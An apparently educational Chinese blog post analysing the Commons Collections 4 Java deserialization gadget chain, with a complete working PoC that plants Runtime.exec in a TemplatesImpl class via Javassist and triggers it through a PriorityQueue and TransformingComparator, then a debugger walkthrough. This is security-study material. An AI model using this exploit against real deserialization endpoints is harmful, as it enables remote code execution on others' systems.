• CommonsCollection4反序列化链学习


    CommonsCollection4

    1、前置知识

    由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取InvokeTransformer()获取templatesImpl的newtransformer()方法,改成用cc3的InstantiateTransformer初始化。那就把跟cc2不同的代码学习下。

    1.1、transformingComparator

    与cc2最大的不容就是transformingComparator的构造方式不同,这里是通过获取InstantiateTransformer实例化TrAXFilter并且把templatesImpl恶意类传入,其实就是InstantiateTransformer(templateImpl).transform(TrAXFilter)。而且这就是cc3所用的方式,所以cc3在cc4占很少的部分,主要还是cc2

    Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的TrAXFilter,调用其构造方法。再调用newTransform
    
    };
    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
    
    TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
    

    2、PoC分析

    2.1、Poc

    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InstantiateTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    public class CommonsCollection4 {
    
    
        public static void main(String[] args) throws Exception {
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
            ClassPool classPool=ClassPool.getDefault();//返回默认的类池
            classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
            CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//创建一个新的public类
            payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
    
            //payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
            byte[] bytes=payload.toBytecode();//转换为byte数组
            //String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
            Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
            field.setAccessible(true);//暴力反射
            field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
    
            Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
            field1.setAccessible(true);//暴力反射
            field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
    
    /*        Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
            getTransletName.setAccessible(true);
            Object name = getTransletName.invoke(templatesImpl, new Object[]{});
            System.out.println(name.toString());
    
            Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
            getTransletBytecodes.setAccessible(true);
            byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
            for (int i = 0; i < bytes1.length; i++) {
                System.out.println(bytes1.length);
                System.out.println(Arrays.toString(bytes1[i]));
            }*/
    
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
                    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的TrAXFilter,调用其构造方法。再调用newTransform
    
            };
            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
    
            TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
    
            PriorityQueue priorityQueue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
            priorityQueue.add(1);//添加数字1插入此优先级队列
            priorityQueue.add(1);//添加数字1插入此优先级队列
    
            Field field2=priorityQueue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
            field2.setAccessible(true);//暴力反射
            field2.set(priorityQueue,transformingComparator);//设置priorityQueue的comparator属性值为transformingComparator
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();
    
            ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
            inputStream.readObject();
    
    
    
    
        }
    }
    
    

    image-20220402172430947

    2.2、poc调试

    在PriorityQueue的readObject打断点,发现队列内就是两个数字,进入heapify()

    image-20220402173935322

    因为在poc中我们没对queue字段赋值,所以queue里面就是两个数字,继续跟入siteDown()

    image-20220402174048928

    发现x就是queue为空,与cc2此时的x为templatImpl,继续进入siftDownUsingComparator

    image-20220402174156894

    进入发现,通过comparator.compare(),这个comparator就是我们的恶意TransformingComparator

    image-20220402174458773

    进入发现TransformingComparator的compare方法里,用this.transformer调用了transform方法,此时的this.transformer是我们传入的ChainedTransformer,链式调用transform

    image-20220402174643988

    进入后看到第一个是ConstantTransformer,继续跟进transform方法

    image-20220402174941276

    返回我们一开始构造的TrAXFilter.class

    image-20220402175131054

    第二遍是进入InstantiateTransformer ,object为我们上次循环获取TrAXFilter.class.继续跟进transform()

    image-20220402175204973

    这个transform就是实例化传入的object既TrAXFilter,而且传入的参数值为我们一起开始创建的恶意加载字节类TransformerImpl

    image-20220402175401025

    进入TrAXFilter的构造方法,传入的TransformerImpl被赋值给了templates,templates调用newTransformer方法,继续跟进

    image-20220402175936574

    TransformerImpl的newTransformer方法,会调用本类的getTransletInstance方法,继续跟进

    image-20220402180136751

    发现会继续调用defineTransletClasses(),继续跟进

    image-20220402180304793

    进入defineTransletClasses方法后发现,会把我们前面构造的_bytecodes[i]传输给_class[i],饭后返回到getTransletInstance方法

    image-20220402180422324

    然后在getTransletInstance方法后,实例化我们传入的_class[i]恶意类》TemplatesImpl》CommonsCollection2Test.

    image-20220402180625606

    实例化就会调用我们一开始设置的静态代码块,造成RCE

    image-20220402180830689

    2.3、利用链

    Gadget chain:
    		ObjectInputStream.readObject()
    			PriorityQueue.readObject()
            PriorityQueue.heapify()
              PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                  ...
                    TransformingComparator.compare()
                      InstantiateTransformer.transform()
                        Method.invoke()
                          Runtime.exec()
    
    
    

    2.4、思维导图

    image-20220402181930015

    2.5、结束

    cc4链还是比较简单,我继续每一步调试的原因就是可以更好的复习前面学习的链,我cc2和cc4用的是commonscollection4依赖版本才成功,cc1、cc3和cc5是用的jdk8u66才成功的

  • 相关阅读:
    后台管理-----搜索框重置
    4-7再谈方法之重载
    SemanticKernel如何基于自有数据聊天
    一文总结提示工程框架,除了CoT还有ToT、GoT、AoT、SoT、PoT
    redis我记不住的那些命令(四)
    基于STM32和人工智能的自动驾驶小车系统
    C# Winform之propertyGrid控件使用详解和分组设置
    YOLOv4【未完待续】
    炫酷动漫游戏网站页面设计html页面前端源码
    Python输入输出、遍历文件夹(input、stdin、os.path)
  • 原文地址:https://www.cnblogs.com/akka1/p/16093526.html